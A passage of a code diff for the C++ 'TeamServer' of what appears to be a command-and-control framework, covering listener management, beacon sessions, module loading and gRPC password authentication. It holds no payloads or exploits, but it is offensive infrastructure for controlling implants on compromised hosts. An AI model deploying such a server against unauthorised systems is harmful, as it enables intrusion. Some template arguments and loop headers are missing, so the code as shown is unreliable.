(!userEntry.is_object()) - { - m_logger->warn("Skipping malformed user entry in {0}; expected an object.", m_authCredentialsFile); - continue; - } - - std::string username = userEntry.value("username", std::string()); - if (username.empty()) - { - m_logger->warn("Skipping user entry with missing username in {0}.", m_authCredentialsFile); - continue; - } - - std::string passwordHash = normalizeHash(userEntry.value("password_hash", std::string())); - if (passwordHash.empty()) - { - std::string plaintextPassword = userEntry.value("password", std::string()); - if (!plaintextPassword.empty()) - { - m_logger->warn("User '{0}' in credentials file provides a plaintext password; hashing at startup but please update the file to store 'password_hash'.", username); - passwordHash = hashPassword(plaintextPassword); - } - } - - if (passwordHash.empty()) - { - m_logger->warn("Skipping user '{0}' in {1} due to missing password hash.", username, m_authCredentialsFile); - continue; - } - - m_userPasswordHashes[username] = passwordHash; - } - } - } - else - { - std::string username = authConfig.value("username", std::string()); - std::string passwordHash = normalizeHash(authConfig.value("password_hash", std::string())); - if (passwordHash.empty()) - { - std::string plaintextPassword = authConfig.value("password", std::string()); - if (!plaintextPassword.empty()) - { - m_logger->warn("Legacy credentials format detected in {0}; hashing plaintext password but please migrate to 'users' array with hashed passwords.", m_authCredentialsFile); - passwordHash = hashPassword(plaintextPassword); - } - } - - if (!username.empty() && !passwordHash.empty()) - { - m_userPasswordHashes[username] = passwordHash; - } - } - - if (!m_userPasswordHashes.empty()) - { - m_authEnabled = true; - m_logger->info("Authentication enabled for {0} user(s) using credentials file: {1}", m_userPasswordHashes.size(), m_authCredentialsFile); - } - else - { - m_logger->error("Authentication credential file {0} does not contain any valid user credentials.", m_authCredentialsFile); - } - } - catch (const std::exception& ex) - { - m_logger->error("Failed to parse authentication credential file {0}: {1}", m_authCredentialsFile, ex.what()); + m_userPasswordHashes[username] = passwordHash; } + } } else { - m_logger->critical("Authentication credential file not found: {0}", m_authCredentialsFile); + std::string username = authConfig.value("username", std::string()); + std::string passwordHash = normalizeHash(authConfig.value("password_hash", std::string())); + if (passwordHash.empty()) + { + std::string plaintextPassword = authConfig.value("password", std::string()); + if (!plaintextPassword.empty()) + { + m_logger->warn("Legacy credentials format detected in {0}; hashing plaintext password but please migrate to 'users' array with hashed passwords.", m_authCredentialsFile); + passwordHash = hashPassword(plaintextPassword); + } + } + + if (!username.empty() && !passwordHash.empty()) + { + m_userPasswordHashes[username] = passwordHash; + } } + + if (!m_userPasswordHashes.empty()) + { + m_authEnabled = true; + m_logger->info("Authentication enabled for {0} user(s) using credentials file: {1}", m_userPasswordHashes.size(), m_authCredentialsFile); + } + else + { + m_logger->error("Authentication credential file {0} does not contain any valid user credentials.", m_authCredentialsFile); + } + } + catch (const std::exception& ex) + { + m_logger->error("Failed to parse authentication credential file {0}: {1}", m_authCredentialsFile, ex.what()); + } } else { - m_logger->warn("AuthCredentialsFile entry missing from configuration. gRPC authentication is disabled."); + m_logger->critical("Authentication credential file not found: {0}", m_authCredentialsFile); } + } + else + { + m_logger->warn("AuthCredentialsFile entry missing from configuration. gRPC authentication is disabled."); + } - fs::path checkPath = m_teamServerModulesDirectoryPath; - if (!fs::exists(checkPath)) - m_logger->error("TeamServer modules directory path don't exist: {0}", m_teamServerModulesDirectoryPath.c_str()); + fs::path checkPath = m_teamServerModulesDirectoryPath; + if (!fs::exists(checkPath)) + m_logger->error("TeamServer modules directory path don't exist: {0}", m_teamServerModulesDirectoryPath.c_str()); - checkPath = m_linuxModulesDirectoryPath; - if (!fs::exists(checkPath)) - m_logger->error("Linux modules directory path don't exist: {0}", m_linuxModulesDirectoryPath.c_str()); + checkPath = m_linuxModulesDirectoryPath; + if (!fs::exists(checkPath)) + m_logger->error("Linux modules directory path don't exist: {0}", m_linuxModulesDirectoryPath.c_str()); - checkPath = m_windowsModulesDirectoryPath; - if (!fs::exists(checkPath)) - m_logger->error("Windows modules directory path don't exist: {0}", m_windowsModulesDirectoryPath.c_str()); + checkPath = m_windowsModulesDirectoryPath; + if (!fs::exists(checkPath)) + m_logger->error("Windows modules directory path don't exist: {0}", m_windowsModulesDirectoryPath.c_str()); - checkPath = m_linuxBeaconsDirectoryPath; - if (!fs::exists(checkPath)) - m_logger->error("Linux beacon directory path don't exist: {0}", m_linuxBeaconsDirectoryPath.c_str()); + checkPath = m_linuxBeaconsDirectoryPath; + if (!fs::exists(checkPath)) + m_logger->error("Linux beacon directory path don't exist: {0}", m_linuxBeaconsDirectoryPath.c_str()); - checkPath = m_windowsBeaconsDirectoryPath; - if (!fs::exists(checkPath)) - m_logger->error("Windows beacon directory path don't exist: {0}", m_windowsBeaconsDirectoryPath.c_str()); + checkPath = m_windowsBeaconsDirectoryPath; + if (!fs::exists(checkPath)) + m_logger->error("Windows beacon directory path don't exist: {0}", m_windowsBeaconsDirectoryPath.c_str()); - checkPath = m_toolsDirectoryPath; - if (!fs::exists(checkPath)) - m_logger->error("Tools directory path don't exist: {0}", m_toolsDirectoryPath.c_str()); + checkPath = m_toolsDirectoryPath; + if (!fs::exists(checkPath)) + m_logger->error("Tools directory path don't exist: {0}", m_toolsDirectoryPath.c_str()); - checkPath = m_scriptsDirectoryPath; - if (!fs::exists(checkPath)) - m_logger->error("Script directory path don't exist: {0}", m_scriptsDirectoryPath.c_str()); + checkPath = m_scriptsDirectoryPath; + if (!fs::exists(checkPath)) + m_logger->error("Script directory path don't exist: {0}", m_scriptsDirectoryPath.c_str()); - m_commonCommands.setDirectories(m_teamServerModulesDirectoryPath, - m_linuxModulesDirectoryPath, - m_windowsModulesDirectoryPath, - m_linuxBeaconsDirectoryPath, - m_windowsBeaconsDirectoryPath, - m_toolsDirectoryPath, - m_scriptsDirectoryPath); + m_commonCommands.setDirectories(m_teamServerModulesDirectoryPath, + m_linuxModulesDirectoryPath, + m_windowsModulesDirectoryPath, + m_linuxBeaconsDirectoryPath, + m_windowsBeaconsDirectoryPath, + m_toolsDirectoryPath, + m_scriptsDirectoryPath); - // Modules - m_logger->debug("TeamServer module directory path {0}", m_teamServerModulesDirectoryPath.c_str()); - std::size_t modulesLoaded = 0; - try - { - for (const auto& entry : fs::recursive_directory_iterator(m_teamServerModulesDirectoryPath)) - { + // Modules + m_logger->debug("TeamServer module directory path {0}", m_teamServerModulesDirectoryPath.c_str()); + std::size_t modulesLoaded = 0; + try + { + for (const auto& entry : fs::recursive_directory_iterator(m_teamServerModulesDirectoryPath)) + { if (fs::is_regular_file(entry.path()) && entry.path().extension() == ".so") - { - m_logger->debug("Trying to load {0}", entry.path().c_str()); + { + m_logger->debug("Trying to load {0}", entry.path().c_str()); - void *handle = dlopen(entry.path().c_str(), RTLD_LAZY); + void* handle = dlopen(entry.path().c_str(), RTLD_LAZY); - if (!handle) - { - m_logger->warn("Failed to load {0}", entry.path().c_str()); - continue; - } + if (!handle) + { + m_logger->warn("Failed to load {0}", entry.path().c_str()); + continue; + } - std::string funcName = entry.path().filename(); - funcName = funcName.substr(3); // remove lib - funcName = funcName.substr(0, funcName.length() - 3); // remove .so - funcName += "Constructor"; // add Constructor + std::string funcName = entry.path().filename(); + funcName = funcName.substr(3); // remove lib + funcName = funcName.substr(0, funcName.length() - 3); // remove .so + funcName += "Constructor"; // add Constructor - m_logger->debug("Looking for construtor function {0}", funcName); + m_logger->debug("Looking for construtor function {0}", funcName); - constructProc construct = (constructProc)dlsym(handle, funcName.c_str()); - if(construct == NULL) - { - m_logger->warn("Failed to find construtor"); - dlclose(handle); - continue; - } + constructProc construct = (constructProc)dlsym(handle, funcName.c_str()); + if (construct == NULL) + { + m_logger->warn("Failed to find construtor"); + dlclose(handle); + continue; + } - ModuleCmd* moduleCmd = construct(); + ModuleCmd* moduleCmd = construct(); - std::unique_ptr moduleCmd_(moduleCmd); - m_moduleCmd.push_back(std::move(moduleCmd_)); + std::unique_ptr moduleCmd_(moduleCmd); + m_moduleCmd.push_back(std::move(moduleCmd_)); - m_moduleCmd.back()->setDirectories(m_teamServerModulesDirectoryPath, - m_linuxModulesDirectoryPath, - m_windowsModulesDirectoryPath, - m_linuxBeaconsDirectoryPath, - m_windowsBeaconsDirectoryPath, - m_toolsDirectoryPath, - m_scriptsDirectoryPath); + m_moduleCmd.back()->setDirectories(m_teamServerModulesDirectoryPath, + m_linuxModulesDirectoryPath, + m_windowsModulesDirectoryPath, + m_linuxBeaconsDirectoryPath, + m_windowsBeaconsDirectoryPath, + m_toolsDirectoryPath, + m_scriptsDirectoryPath); - m_logger->debug("Module {0} loaded", entry.path().filename().c_str()); - modulesLoaded++; + m_logger->debug("Module {0} loaded", entry.path().filename().c_str()); + modulesLoaded++; } } } - catch (const std::filesystem::filesystem_error& e) - { - m_logger->warn("Error accessing module directory"); + catch (const std::filesystem::filesystem_error& e) + { + m_logger->warn("Error accessing module directory"); } - if (modulesLoaded == 0) - m_logger->warn("No TeamServer modules loaded from {0}", m_teamServerModulesDirectoryPath.c_str()); - else - m_logger->info("Loaded {0} TeamServer module(s) from {1}", modulesLoaded, m_teamServerModulesDirectoryPath.c_str()); + if (modulesLoaded == 0) + m_logger->warn("No TeamServer modules loaded from {0}", m_teamServerModulesDirectoryPath.c_str()); + else + m_logger->info("Loaded {0} TeamServer module(s) from {1}", modulesLoaded, m_teamServerModulesDirectoryPath.c_str()); - m_handleCmdResponseThreadRuning = true; - m_handleCmdResponseThread = std::make_unique(&TeamServer::handleCmdResponse, this); + m_handleCmdResponseThreadRuning = true; + m_handleCmdResponseThread = std::make_unique(&TeamServer::handleCmdResponse, this); } - TeamServer::~TeamServer() { - m_handleCmdResponseThreadRuning = false; - m_handleCmdResponseThread->join(); + m_handleCmdResponseThreadRuning = false; + m_handleCmdResponseThread->join(); - m_isSocksServerBinded=false; - if(m_socksThread) - m_socksThread->join(); + m_isSocksServerBinded = false; + if (m_socksThread) + m_socksThread->join(); } - grpc::Status TeamServer::Authenticate(grpc::ServerContext* context, const teamserverapi::AuthRequest* request, teamserverapi::AuthResponse* response) { - (void)context; - - if (!m_authEnabled) - { - response->set_status(teamserverapi::KO); - response->set_message("Authentication is not configured on the server"); - return grpc::Status::OK; - } - - cleanupExpiredTokens(); - - const std::string& username = request->username(); - const std::string& password = request->password(); - - auto userIt = m_userPasswordHashes.find(username); - if (userIt == m_userPasswordHashes.end()) - { - response->set_status(teamserverapi::KO); - response->set_message("Invalid credentials"); - m_logger->warn("Authentication failed for unknown user '{}'", username); - return grpc::Status::OK; - } - - std::string providedHash = hashPassword(password); - if (providedHash != userIt->second) - { - response->set_status(teamserverapi::KO); - response->set_message("Invalid credentials"); - m_logger->warn("Authentication failed due to incorrect password for user '{}'", username); - return grpc::Status::OK; - } - - std::string token = generateToken(); - { - std::lock_guard lock(m_authMutex); - m_activeTokens[token] = std::chrono::steady_clock::now() + m_tokenValidityDuration; - } - - response->set_status(teamserverapi::OK); - response->set_token(token); - response->set_message("Authentication successful"); - m_logger->info("User '{}' authenticated successfully", username); + (void)context; + if (!m_authEnabled) + { + response->set_status(teamserverapi::KO); + response->set_message("Authentication is not configured on the server"); return grpc::Status::OK; -} + } + cleanupExpiredTokens(); + + const std::string& username = request->username(); + const std::string& password = request->password(); + + auto userIt = m_userPasswordHashes.find(username); + if (userIt == m_userPasswordHashes.end()) + { + response->set_status(teamserverapi::KO); + response->set_message("Invalid credentials"); + m_logger->warn("Authentication failed for unknown user '{}'", username); + return grpc::Status::OK; + } + + std::string providedHash = hashPassword(password); + if (providedHash != userIt->second) + { + response->set_status(teamserverapi::KO); + response->set_message("Invalid credentials"); + m_logger->warn("Authentication failed due to incorrect password for user '{}'", username); + return grpc::Status::OK; + } + + std::string token = generateToken(); + { + std::lock_guard lock(m_authMutex); + m_activeTokens[token] = std::chrono::steady_clock::now() + m_tokenValidityDuration; + } + + response->set_status(teamserverapi::OK); + response->set_token(token); + response->set_message("Authentication successful"); + m_logger->info("User '{}' authenticated successfully", username); + + return grpc::Status::OK; +} // Get the list of liseteners from primary listeners // and from listeners runing on beacon through sessionListener grpc::Status TeamServer::GetListeners(grpc::ServerContext* context, const teamserverapi::Empty* empty, grpc::ServerWriter* writer) { - auto authStatus = ensureAuthenticated(context); - if (!authStatus.ok()) - return authStatus; + auto authStatus = ensureAuthenticated(context); + if (!authStatus.ok()) + return authStatus; - m_logger->trace("GetListeners"); + m_logger->trace("GetListeners"); - for (int i = 0; i < m_listeners.size(); i++) + for (int i = 0; i < m_listeners.size(); i++) + { + // For each primary listeners get the informations + teamserverapi::Listener listener; + listener.set_listenerhash(m_listeners[i]->getListenerHash()); + + std::string type = m_listeners[i]->getType(); + listener.set_type(type); + if (type == ListenerHttpType || type == ListenerHttpsType) { - // For each primary listeners get the informations - teamserverapi::Listener listener; - listener.set_listenerhash(m_listeners[i]->getListenerHash()); + listener.set_ip(m_listeners[i]->getParam1()); + listener.set_port(std::stoi(m_listeners[i]->getParam2())); + } + else if (type == ListenerTcpType) + { + listener.set_ip(m_listeners[i]->getParam1()); + listener.set_port(std::stoi(m_listeners[i]->getParam2())); + } + else if (type == ListenerSmbType) + { + listener.set_ip(m_listeners[i]->getParam1()); + listener.set_domain(m_listeners[i]->getParam2()); + } + else if (type == ListenerGithubType) + { + listener.set_project(m_listeners[i]->getParam1()); + listener.set_token(m_listeners[i]->getParam2()); + } + else if (type == ListenerDnsType) + { + listener.set_domain(m_listeners[i]->getParam1()); + listener.set_port(std::stoi(m_listeners[i]->getParam2())); + } + listener.set_numberofsession(m_listeners[i]->getNumberOfSession()); - std::string type = m_listeners[i]->getType(); - listener.set_type(type); - if(type == ListenerHttpType || type == ListenerHttpsType ) - { - listener.set_ip(m_listeners[i]->getParam1()); - listener.set_port(std::stoi(m_listeners[i]->getParam2())); - } - else if(type == ListenerTcpType ) - { - listener.set_ip(m_listeners[i]->getParam1()); - listener.set_port(std::stoi(m_listeners[i]->getParam2())); - } - else if(type == ListenerSmbType ) - { - listener.set_ip(m_listeners[i]->getParam1()); - listener.set_domain(m_listeners[i]->getParam2()); - } - else if(type == ListenerGithubType ) - { - listener.set_project(m_listeners[i]->getParam1()); - listener.set_token(m_listeners[i]->getParam2()); - } - else if(type == ListenerDnsType ) - { - listener.set_domain(m_listeners[i]->getParam1()); - listener.set_port(std::stoi(m_listeners[i]->getParam2())); - } - listener.set_numberofsession(m_listeners[i]->getNumberOfSession()); + writer->Write(listener); - writer->Write(listener); + // check for each sessions alive from this listener check if their is listeners + int nbSession = m_listeners[i]->getNumberOfSession(); + for (int kk = 0; kk < nbSession; kk++) + { + std::shared_ptr session = m_listeners[i]->getSessionPtr(kk); - // check for each sessions alive from this listener check if their is listeners - int nbSession = m_listeners[i]->getNumberOfSession(); - for(int kk=0; kk session = m_listeners[i]->getSessionPtr(kk); + if (!session->isSessionKilled()) + { + for (auto it = session->getListener().begin(); it != session->getListener().end(); ++it) + { + m_logger->trace("|-> sessionListenerList {0} {1} {0}", it->getType(), it->getParam1(), it->getParam2()); - if(!session->isSessionKilled()) - { - for(auto it = session->getListener().begin() ; it != session->getListener().end(); ++it ) - { - m_logger->trace("|-> sessionListenerList {0} {1} {0}", it->getType(), it->getParam1(), it->getParam2()); + teamserverapi::Listener listener; + listener.set_listenerhash(it->getListenerHash()); + listener.set_beaconhash(session->getBeaconHash()); + std::string type = it->getType(); + listener.set_type(type); + if (type == ListenerTcpType) + { + listener.set_ip(it->getParam1()); + listener.set_port(std::stoi(it->getParam2())); + } + else if (type == ListenerSmbType) + { + listener.set_ip(it->getParam1()); + listener.set_domain(it->getParam2()); + } - teamserverapi::Listener listener; - listener.set_listenerhash(it->getListenerHash()); - listener.set_beaconhash(session->getBeaconHash()); - std::string type = it->getType(); - listener.set_type(type); - if(type == ListenerTcpType ) - { - listener.set_ip(it->getParam1()); - listener.set_port(std::stoi(it->getParam2())); - } - else if(type == ListenerSmbType ) - { - listener.set_ip(it->getParam1()); - listener.set_domain(it->getParam2()); - } + writer->Write(listener); + } + } + } + } - writer->Write(listener); - } - } - } - } + m_logger->trace("GetListeners end"); - m_logger->trace("GetListeners end"); - - return grpc::Status::OK; + return grpc::Status::OK; } - // Add listener that will run on the C2 // To add a listener to a beacon the process it to send a command to the beacon -grpc::Status TeamServer::AddListener(grpc::ServerContext* context, const teamserverapi::Listener* listenerToCreate, teamserverapi::Response* response) +grpc::Status TeamServer::AddListener(grpc::ServerContext* context, const teamserverapi::Listener* listenerToCreate, teamserverapi::Response* response) { - auto authStatus = ensureAuthenticated(context); - if (!authStatus.ok()) - return authStatus; + auto authStatus = ensureAuthenticated(context); + if (!authStatus.ok()) + return authStatus; - m_logger->trace("AddListener"); - string type = listenerToCreate->type(); + m_logger->trace("AddListener"); + string type = listenerToCreate->type(); - // check if the listener already existe - if (type == ListenerGithubType) - { - std::vector>::iterator object = - find_if(m_listeners.begin(), m_listeners.end(), - [&](shared_ptr & obj){ return (obj->getType() == listenerToCreate->type() && - obj->getParam1() == listenerToCreate->project() && - obj->getParam2() == listenerToCreate->token());} - ); + // check if the listener already existe + if (type == ListenerGithubType) + { + std::vector>::iterator object = + find_if(m_listeners.begin(), m_listeners.end(), + [&](shared_ptr& obj) + { + return (obj->getType() == listenerToCreate->type() && + obj->getParam1() == listenerToCreate->project() && + obj->getParam2() == listenerToCreate->token()); + }); - if(object!=m_listeners.end()) - { - m_logger->warn("Add listener failed: Listener already exist"); - return grpc::Status::OK; - } - } - else if (type == ListenerDnsType) - { - std::string domain = listenerToCreate->domain(); - int port = listenerToCreate->port(); + if (object != m_listeners.end()) + { + m_logger->warn("Add listener failed: Listener already exist"); + return grpc::Status::OK; + } + } + else if (type == ListenerDnsType) + { + std::string domain = listenerToCreate->domain(); + int port = listenerToCreate->port(); - // 🔸 Check if a DNS listener with the same domain and port already exists - auto existingDns = std::find_if( - m_listeners.begin(), - m_listeners.end(), - [&](std::shared_ptr& obj) { - return (obj->getType() == ListenerDnsType && - obj->getParam1() == domain && - obj->getParam2() == std::to_string(port)); - }); + // 🔸 Check if a DNS listener with the same domain and port already exists + auto existingDns = std::find_if( + m_listeners.begin(), + m_listeners.end(), + [&](std::shared_ptr& obj) + { + return (obj->getType() == ListenerDnsType && + obj->getParam1() == domain && + obj->getParam2() == std::to_string(port)); + }); - if (existingDns != m_listeners.end()) - { - m_logger->warn("Add listener failed: DNS listener already running on {0}:{1}", domain, std::to_string(port)); - return grpc::Status::OK; - } - } - else - { - std::vector>::iterator object = - find_if(m_listeners.begin(), m_listeners.end(), - [&](shared_ptr & obj){ return (obj->getType() == listenerToCreate->type() && - obj->getParam1() == listenerToCreate->ip() && - obj->getParam2() == std::to_string(listenerToCreate->port()));} - ); + if (existingDns != m_listeners.end()) + { + m_logger->warn("Add listener failed: DNS listener already running on {0}:{1}", domain, std::to_string(port)); + return grpc::Status::OK; + } + } + else + { + std::vector>::iterator object = + find_if(m_listeners.begin(), m_listeners.end(), + [&](shared_ptr& obj) + { + return (obj->getType() == listenerToCreate->type() && + obj->getParam1() == listenerToCreate->ip() && + obj->getParam2() == std::to_string(listenerToCreate->port())); + }); - if(object!=m_listeners.end()) - { - m_logger->warn("Add listener failed: Listener already exist"); - return grpc::Status::OK; - } - } + if (object != m_listeners.end()) + { + m_logger->warn("Add listener failed: Listener already exist"); + return grpc::Status::OK; + } + } - // TODO use a init to check if the listener is correctly init without using excpetion in the constructor - if (type == ListenerTcpType) - { - int localPort = listenerToCreate->port(); - string localHost = listenerToCreate->ip(); - std::shared_ptr listenerTcp = make_shared(localHost, localPort, m_config); - int ret = listenerTcp->init(); - if (ret>0) - { - listenerTcp->setIsPrimary(); - m_listeners.push_back(std::move(listenerTcp)); + // TODO use a init to check if the listener is correctly init without using excpetion in the constructor + if (type == ListenerTcpType) + { + int localPort = listenerToCreate->port(); + string localHost = listenerToCreate->ip(); + std::shared_ptr listenerTcp = make_shared(localHost, localPort, m_config); + int ret = listenerTcp->init(); + if (ret > 0) + { + listenerTcp->setIsPrimary(); + m_listeners.push_back(std::move(listenerTcp)); - m_logger->info("AddListener Tcp {0}:{1}", localHost, std::to_string(localPort)); - } - else - { - m_logger->error("Error: AddListener Tcp {0}:{1}", localHost, std::to_string(localPort)); - } - } - else if (type == ListenerHttpType) - { - int localPort = listenerToCreate->port(); - string localHost = listenerToCreate->ip(); - std::shared_ptr listenerHttp = make_shared(localHost, localPort, m_config, false); - int ret = listenerHttp->init(); - if (ret>0) - { - listenerHttp->setIsPrimary(); - m_listeners.push_back(std::move(listenerHttp)); + m_logger->info("AddListener Tcp {0}:{1}", localHost, std::to_string(localPort)); + } + else + { + m_logger->error("Error: AddListener Tcp {0}:{1}", localHost, std::to_string(localPort)); + } + } + else if (type == ListenerHttpType) + { + int localPort = listenerToCreate->port(); + string localHost = listenerToCreate->ip(); + std::shared_ptr listenerHttp = make_shared(localHost, localPort, m_config, false); + int ret = listenerHttp->init(); + if (ret > 0) + { + listenerHttp->setIsPrimary(); + m_listeners.push_back(std::move(listenerHttp)); - m_logger->info("AddListener Http {0}:{1}", localHost, std::to_string(localPort)); - } - else - { - m_logger->error("Error: AddListener Http {0}:{1}", localHost, std::to_string(localPort)); - } - } - else if (type == ListenerHttpsType) - { - int localPort = listenerToCreate->port(); - string localHost = listenerToCreate->ip(); - std::shared_ptr listenerHttps = make_shared(localHost, localPort, m_config, true); - int ret = listenerHttps->init(); - if (ret>0) - { - listenerHttps->setIsPrimary(); - m_listeners.push_back(std::move(listenerHttps)); + m_logger->info("AddListener Http {0}:{1}", localHost, std::to_string(localPort)); + } + else + { + m_logger->error("Error: AddListener Http {0}:{1}", localHost, std::to_string(localPort)); + } + } + else if (type == ListenerHttpsType) + { + int localPort = listenerToCreate->port(); + string localHost = listenerToCreate->ip(); + std::shared_ptr listenerHttps = make_shared(localHost, localPort, m_config, true); + int ret = listenerHttps->init(); + if (ret > 0) + { + listenerHttps->setIsPrimary(); + m_listeners.push_back(std::move(listenerHttps)); - m_logger->info("AddListener Https {0}:{1}", localHost, std::to_string(localPort)); - } - else - { - m_logger->error("Error: AddListener Https {0}:{1}", localHost, std::to_string(localPort)); - } - } - else if (type == ListenerGithubType) - { - std::string token = listenerToCreate->token(); - std::string project = listenerToCreate->project(); - std::shared_ptr listenerGithub = make_shared(project, token, m_config); - listenerGithub->setIsPrimary(); - m_listeners.push_back(std::move(listenerGithub)); + m_logger->info("AddListener Https {0}:{1}", localHost, std::to_string(localPort)); + } + else + { + m_logger->error("Error: AddListener Https {0}:{1}", localHost, std::to_string(localPort)); + } + } + else if (type == ListenerGithubType) + { + std::string token = listenerToCreate->token(); + std::string project = listenerToCreate->project(); + std::shared_ptr listenerGithub = make_shared(project, token, m_config); + listenerGithub->setIsPrimary(); + m_listeners.push_back(std::move(listenerGithub)); - m_logger->info("AddListener Github {0}:{1}", project, token); - } - else if (type == ListenerDnsType) - { - std::string domain = listenerToCreate->domain(); - int port = listenerToCreate->port(); - std::shared_ptr listenerDns = make_shared(domain, port, m_config); - listenerDns->setIsPrimary(); - m_listeners.push_back(std::move(listenerDns)); + m_logger->info("AddListener Github {0}:{1}", project, token); + } + else if (type == ListenerDnsType) + { + std::string domain = listenerToCreate->domain(); + int port = listenerToCreate->port(); + std::shared_ptr listenerDns = make_shared(domain, port, m_config); + listenerDns->setIsPrimary(); + m_listeners.push_back(std::move(listenerDns)); - m_logger->info("AddListener Dns {0}:{1}", domain, std::to_string(port)); - } + m_logger->info("AddListener Dns {0}:{1}", domain, std::to_string(port)); + } - m_logger->trace("AddListener End"); + m_logger->trace("AddListener End"); - return grpc::Status::OK; + return grpc::Status::OK; } - -std::string generateUUID8() +std::string generateUUID8() { const char charset[] = "0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz"; const size_t length = 8; @@ -752,822 +739,810 @@ std::string generateUUID8() std::uniform_int_distribution<> distribution(0, sizeof(charset) - 2); std::string uuid; - for (size_t i = 0; i < length; ++i) { + for (size_t i = 0; i < length; ++i) + { uuid += charset[distribution(generator)]; } return uuid; } - -grpc::Status TeamServer::StopListener(grpc::ServerContext* context, const teamserverapi::Listener* listenerToStop, teamserverapi::Response* response) +grpc::Status TeamServer::StopListener(grpc::ServerContext* context, const teamserverapi::Listener* listenerToStop, teamserverapi::Response* response) { - auto authStatus = ensureAuthenticated(context); - if (!authStatus.ok()) - return authStatus; + auto authStatus = ensureAuthenticated(context); + if (!authStatus.ok()) + return authStatus; - m_logger->trace("StopListener"); + m_logger->trace("StopListener"); - // Stop primary listener - std::string listenerHash=listenerToStop->listenerhash(); - bool removedPrimary = false; - bool stopCommandSent = false; + // Stop primary listener + std::string listenerHash = listenerToStop->listenerhash(); + bool removedPrimary = false; + bool stopCommandSent = false; - std::vector>::iterator object = - find_if(m_listeners.begin(), m_listeners.end(), - [&](shared_ptr & obj){ return obj->getListenerHash() == listenerHash;} - ); + std::vector>::iterator object = + find_if(m_listeners.begin(), m_listeners.end(), + [&](shared_ptr& obj) + { return obj->getListenerHash() == listenerHash; }); - if(object!=m_listeners.end()) + if (object != m_listeners.end()) + { + m_listeners.erase(std::remove(m_listeners.begin(), m_listeners.end(), *object)); + removedPrimary = true; + } + + // Stop listerners runing on beacon by sending a messsage to this beacon + for (int i = 0; i < m_listeners.size(); i++) + { + int nbSession = m_listeners[i]->getNumberOfSession(); + for (int kk = 0; kk < nbSession; kk++) { - m_listeners.erase(std::remove(m_listeners.begin(), m_listeners.end(), *object)); - removedPrimary = true; - } + std::shared_ptr session = m_listeners[i]->getSessionPtr(kk); + std::vector sessionListener = session->getListener(); + for (int j = 0; j < sessionListener.size(); j++) + { + if (listenerHash == sessionListener[j].getListenerHash()) + { + std::string input = "listener stop "; + input += sessionListener[j].getListenerHash(); + std::string beaconHash = session->getBeaconHash(); - // Stop listerners runing on beacon by sending a messsage to this beacon - for (int i = 0; i < m_listeners.size(); i++) - { - int nbSession = m_listeners[i]->getNumberOfSession(); - for(int kk=0; kk session = m_listeners[i]->getSessionPtr(kk); - std::vector sessionListener = session->getListener(); - for (int j = 0; j < sessionListener.size(); j++) - { - if(listenerHash==sessionListener[j].getListenerHash()) - { - std::string input = "listener stop "; - input+=sessionListener[j].getListenerHash(); - std::string beaconHash = session->getBeaconHash(); + if (!input.empty()) + { + C2Message c2Message; + int res = prepMsg(input, c2Message); - if (!input.empty()) - { - C2Message c2Message; - int res = prepMsg(input, c2Message); + // echec init message + if (res != 0) + { + std::string hint = c2Message.returnvalue(); - // echec init message - if(res!=0) - { - std::string hint = c2Message.returnvalue(); - - response->set_message(hint); - response->set_status(teamserverapi::KO); - } - - // Set the uuid to track the message and correlate with the response to get a clean output in the client - if(!c2Message.instruction().empty()) - { - std::string uuid = generateUUID8(); - c2Message.set_uuid(uuid); - m_listeners[i]->queueTask(beaconHash, c2Message); - - c2Message.set_cmd(input); - c2Message.set_data(""); - m_sentC2Messages.push_back(std::move(c2Message)); - stopCommandSent = true; - } - } - } + response->set_message(hint); + response->set_status(teamserverapi::KO); } + + // Set the uuid to track the message and correlate with the response to get a clean output in the client + if (!c2Message.instruction().empty()) + { + std::string uuid = generateUUID8(); + c2Message.set_uuid(uuid); + m_listeners[i]->queueTask(beaconHash, c2Message); + + c2Message.set_cmd(input); + c2Message.set_data(""); + m_sentC2Messages.push_back(std::move(c2Message)); + stopCommandSent = true; + } + } } + } } + } - if (removedPrimary || stopCommandSent) - m_logger->info("StopListener completed for {0} (primary removed: {1}, stop commands sent: {2})", - listenerHash, - removedPrimary ? "yes" : "no", - stopCommandSent ? "yes" : "no"); - else - m_logger->warn("StopListener request ignored: listener {0} not found", listenerHash); + if (removedPrimary || stopCommandSent) + m_logger->info("StopListener completed for {0} (primary removed: {1}, stop commands sent: {2})", + listenerHash, + removedPrimary ? "yes" : "no", + stopCommandSent ? "yes" : "no"); + else + m_logger->warn("StopListener request ignored: listener {0} not found", listenerHash); - m_logger->trace("StopListener End"); + m_logger->trace("StopListener End"); - return grpc::Status::OK; + return grpc::Status::OK; } - bool TeamServer::isListenerAlive(const std::string& listenerHash) { - m_logger->trace("isListenerAlive"); + m_logger->trace("isListenerAlive"); - bool result=false; - for (int i = 0; i < m_listeners.size(); i++) - { - if(m_listeners[i]->getListenerHash()==listenerHash) - { - result=true; - return result; - } + bool result = false; + for (int i = 0; i < m_listeners.size(); i++) + { + if (m_listeners[i]->getListenerHash() == listenerHash) + { + result = true; + return result; + } - // check for each sessions alive from this listener check if their is listeners - int nbSession = m_listeners[i]->getNumberOfSession(); - for(int kk=0; kk session = m_listeners[i]->getSessionPtr(kk); + // check for each sessions alive from this listener check if their is listeners + int nbSession = m_listeners[i]->getNumberOfSession(); + for (int kk = 0; kk < nbSession; kk++) + { + std::shared_ptr session = m_listeners[i]->getSessionPtr(kk); - std::vector sessionListenerList; - if(!session->isSessionKilled()) - { - sessionListenerList.insert(sessionListenerList.end(), session->getListener().begin(), session->getListener().end()); + std::vector sessionListenerList; + if (!session->isSessionKilled()) + { + sessionListenerList.insert(sessionListenerList.end(), session->getListener().begin(), session->getListener().end()); - for (int j = 0; j < sessionListenerList.size(); j++) - { - if(sessionListenerList[j].getListenerHash()==listenerHash) - { - result=true; - return result; - } - } - } - } - } + for (int j = 0; j < sessionListenerList.size(); j++) + { + if (sessionListenerList[j].getListenerHash() == listenerHash) + { + result = true; + return result; + } + } + } + } + } - m_logger->trace("isListenerAlive end"); + m_logger->trace("isListenerAlive end"); - return result; + return result; } - // Get the list of sessions on the primary listeners // Primary listers old all the information about beacons linked to themeself and linked to beacon listerners grpc::Status TeamServer::GetSessions(grpc::ServerContext* context, const teamserverapi::Empty* empty, grpc::ServerWriter* writer) { - auto authStatus = ensureAuthenticated(context); - if (!authStatus.ok()) - return authStatus; + auto authStatus = ensureAuthenticated(context); + if (!authStatus.ok()) + return authStatus; - m_logger->trace("GetSessions"); + m_logger->trace("GetSessions"); - for (int i = 0; i < m_listeners.size(); i++) - 